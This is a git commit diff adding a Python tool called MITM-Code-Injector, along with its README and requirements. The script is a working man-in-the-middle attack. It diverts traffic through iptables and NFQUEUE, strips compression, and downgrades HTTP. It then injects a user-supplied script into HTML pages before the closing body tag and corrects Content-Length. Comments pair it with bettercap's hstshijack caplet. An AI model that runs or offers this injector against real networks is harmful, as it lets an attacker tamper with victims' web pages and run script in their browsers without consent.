First commit.

Author: ilolm

.idea/.gitignore

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+# MITM-Code-Injector
+
+**DEPENDENCIES:**
+```
+python3
+python3-pip
+```
+
+-------------------------------------------------------
+
+**INSTALLATION:**
+```
+git clone https://github.com/ilolm/MITM-code-injector.git
+cd MITM-code-injector
+pip3 install -r requirements.txt
+chmod +x code_injector.py
+```
+
+-------------------------------------------------------
+
+**USAGE:**
+```
+Usage: sudo ./code_injector.py [options]
+
+Options:
+  -h, --help            show this help message and exit
+  -s SCRIPT, --script=SCRIPT
+                        Enter script that you want to inject, EXAMPLE:
+                        alert('test');
+```

.idea/code_injector.iml

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+#!/usr/bin/env python3
+
+import re
+import optparse
+import subprocess
+import netfilterqueue
+import scapy.all as scapy
+
+
+def get_options():
+    parser = optparse.OptionParser()
+
+    parser.add_option("-s",  "--script", dest="script", help="Enter script that you want to inject,\nEXAMPLE: alert('test');")
+
+    options = parser.parse_args()[0]
+
+    if not options.script:
+        parser.error("\033[91m[-] Please enter a script that you want to inject. Use --help for more info.")
+    return options
+
+def prepare_iptables():
+    # subprocess.call("iptables -I FORWARD -j NFQUEUE --queue-num 0", shell=True)  # without bettercap
+
+    subprocess.call("iptables -I INPUT -j NFQUEUE --queue-num 0", shell=True) # with bettercap hstshijack caplet
+    subprocess.call("iptables -I OUTPUT -j NFQUEUE --queue-num 0", shell=True) # with bettercap hstshijack caplet
+
+def set_load(packet, load):
+    packet[scapy.Raw].load = load
+
+    del packet[scapy.IP].len
+    del packet[scapy.IP].chksum
+    del packet[scapy.TCP].chksum
+
+    return packet
+
+def process_packet(packet):
+    scapy_packet = scapy.IP(packet.get_payload())
+
+    if scapy_packet.haslayer(scapy.Raw) and scapy_packet.haslayer(scapy.TCP):
+        try:
+            load = scapy_packet[scapy.Raw].load.decode()
+
+            if scapy_packet[scapy.TCP].dport == 8080: # Change to 80 if not using bettercap hstshijack
+                load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
+
+                if "HTTP/1.1" in load:
+                    load = load.replace("HTTP/1.1", "HTTP/1.0")
+
+            elif scapy_packet[scapy.TCP].sport == 8080: # Change to 80 if not using bettercap hstshijack
+                print("\033[1;32;40m[+] Injecting code.")
+                injection_code = options.script
+                load = load.replace("</body>", injection_code + "</body>")
+
+                content_length_search = re.search("(?:Content-Length:\s)(\d*)", load)
+
+                if content_length_search and "text/html" in load:
+                    content_length = content_length_search.group(1)
+                    new_content_length = int(content_length) + len(injection_code)
+
+                    load = load.replace(content_length, str(new_content_length))
+
+            if load != str(scapy_packet[scapy.Raw].load):
+                modified_packet = set_load(scapy_packet, load)
+                packet.set_payload(bytes(modified_packet))
+
+        except UnicodeError:
+            pass
+
+    packet.accept()
+
+def restore():
+    print("\n\033[1;35;40m[+] Detected CTRL + C. Quiting.... Please wait!")
+    subprocess.call("iptables --flush", shell=True)
+
+
+options = get_options()
+prepare_iptables()
+queue = netfilterqueue.NetfilterQueue()
+queue.bind(0, process_packet)
+try:
+    queue.run()
+except KeyboardInterrupt:
+    restore()

.idea/inspectionProfiles/profiles_settings.xml

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+scapy
+netfilterqueue
+regex